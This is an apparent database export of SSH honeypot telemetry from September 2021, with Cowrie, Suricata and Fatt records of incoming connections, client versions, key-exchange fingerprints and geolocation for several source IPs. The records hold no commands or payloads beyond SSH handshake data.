31000	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:40:53.786557+03	2021-09-20 14:45:03.911142+03	{"_id": "0wYCA3wBvYTbRNuETEAn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "902d9029d637", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:40:53.786557Z", "@timestamp": "2021-09-20T11:40:53.786Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30988	8.30.234.130	109.199.241.180	Suricata	2021-09-20 14:40:42.030847+03	2021-09-20 14:45:03.895142+03	{"_id": "pwYCA3wBvYTbRNuEHkDc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.72.81.4933534109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.30.234.130", "dest_ip": "192.168.20.116", "flow_id": 782718920622165, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 63794, "dest_port": 22, "timestamp": "2021-09-20T11:40:42.030847Z", "@timestamp": "2021-09-20T11:40:42.030Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
30989	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:40:30.056434+03	2021-09-20 14:45:03.896142+03	{"_id": "iQYBA3wBvYTbRNuE8UAK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35516, "timestamp": "2021-09-20T11:40:30.056434", "@timestamp": "2021-09-20T11:40:30.056Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30990	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:41:09.125972+03	2021-09-20 14:45:03.897141+03	{"_id": "-gYCA3wBvYTbRNuEhkDG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.122.188.154:57142 (192.168.176.2:22) [session: d9c6352c4257]", "session": "d9c6352c4257", "@version": "1", "protocol": "ssh", "src_port": 57142, "dest_port": 22, "timestamp": "2021-09-20T11:41:09.125972Z", "@timestamp": "2021-09-20T11:41:09.125Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30991	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:41:09.460437+03	2021-09-20 14:45:03.898142+03	{"_id": "-wYCA3wBvYTbRNuEhkDG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:57094 (192.168.176.2:22) [session: 1373effa62ce]", "session": "1373effa62ce", "@version": "1", "protocol": "ssh", "src_port": 57094, "dest_port": 22, "timestamp": "2021-09-20T11:41:09.460437Z", "@timestamp": "2021-09-20T11:41:09.460Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30992	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:41:09.128846+03	2021-09-20 14:45:03.900142+03	{"_id": "_AYCA3wBvYTbRNuEhkDG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "d9c6352c4257", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:41:09.128846Z", "@timestamp": "2021-09-20T11:41:09.128Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30999	91.200.124.7	109.199.241.180	Fatt	2021-09-20 14:40:53.823996+03	2021-09-20 14:45:03.910142+03	{"_id": "zQYCA3wBvYTbRNuESkDu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 50336, "dest_port": 22, "timestamp": "2021-09-20T11:40:53.823996", "@timestamp": "2021-09-20T11:40:53.823Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30993	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:41:09.300999+03	2021-09-20 14:45:03.901141+03	{"_id": "_QYCA3wBvYTbRNuEhkDG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "d9c6352c4257", "@version": "1", "timestamp": "2021-09-20T11:41:09.300999Z", "@timestamp": "2021-09-20T11:41:09.300Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30994	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:41:09.463372+03	2021-09-20 14:45:03.903142+03	{"_id": "_gYCA3wBvYTbRNuEhkDG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "1373effa62ce", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:41:09.463372Z", "@timestamp": "2021-09-20T11:41:09.463Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30995	176.122.188.154	109.199.241.180	Suricata	2021-09-20 14:41:09.292785+03	2021-09-20 14:45:03.904141+03	{"_id": "_wYCA3wBvYTbRNuEiECJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "flow_id": 1289011814770932, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57142, "dest_port": 22, "timestamp": "2021-09-20T11:41:09.292785Z", "@timestamp": "2021-09-20T11:41:09.292Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30996	176.122.188.154	109.199.241.180	Suricata	2021-09-20 14:41:09.300337+03	2021-09-20 14:45:03.906143+03	{"_id": "AAYCA3wBvYTbRNuEiEGJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:41:08.960756+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.122.188.154", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1289011814770932, "payload": "AAADzAYUGWDpbkjTJQFxZphLFw0gPAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57142, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:41:09.300337Z", "@timestamp": "2021-09-20T11:41:09.300Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......`.nH.%.qf.K.\\r <...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30997	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:41:09.726572+03	2021-09-20 14:45:03.907142+03	{"_id": "AQYCA3wBvYTbRNuEiEGJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 866930346164316, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57094, "dest_port": 22, "timestamp": "2021-09-20T11:41:09.726572Z", "@timestamp": "2021-09-20T11:41:09.726Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30998	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:41:09.727042+03	2021-09-20 14:45:03.908141+03	{"_id": "AgYCA3wBvYTbRNuEiUF2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 57094, "dest_port": 22, "timestamp": "2021-09-20T11:41:09.727042", "@timestamp": "2021-09-20T11:41:09.727Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31001	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:40:53.783505+03	2021-09-20 14:45:03.912142+03	{"_id": "1AYCA3wBvYTbRNuETEAo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 91.200.124.7:50336 (192.168.176.2:22) [session: 902d9029d637]", "session": "902d9029d637", "@version": "1", "protocol": "ssh", "src_port": 50336, "dest_port": 22, "timestamp": "2021-09-20T11:40:53.783505Z", "@timestamp": "2021-09-20T11:40:53.783Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31002	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:40:53.824413+03	2021-09-20 14:45:03.914142+03	{"_id": "1QYCA3wBvYTbRNuETEAo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", 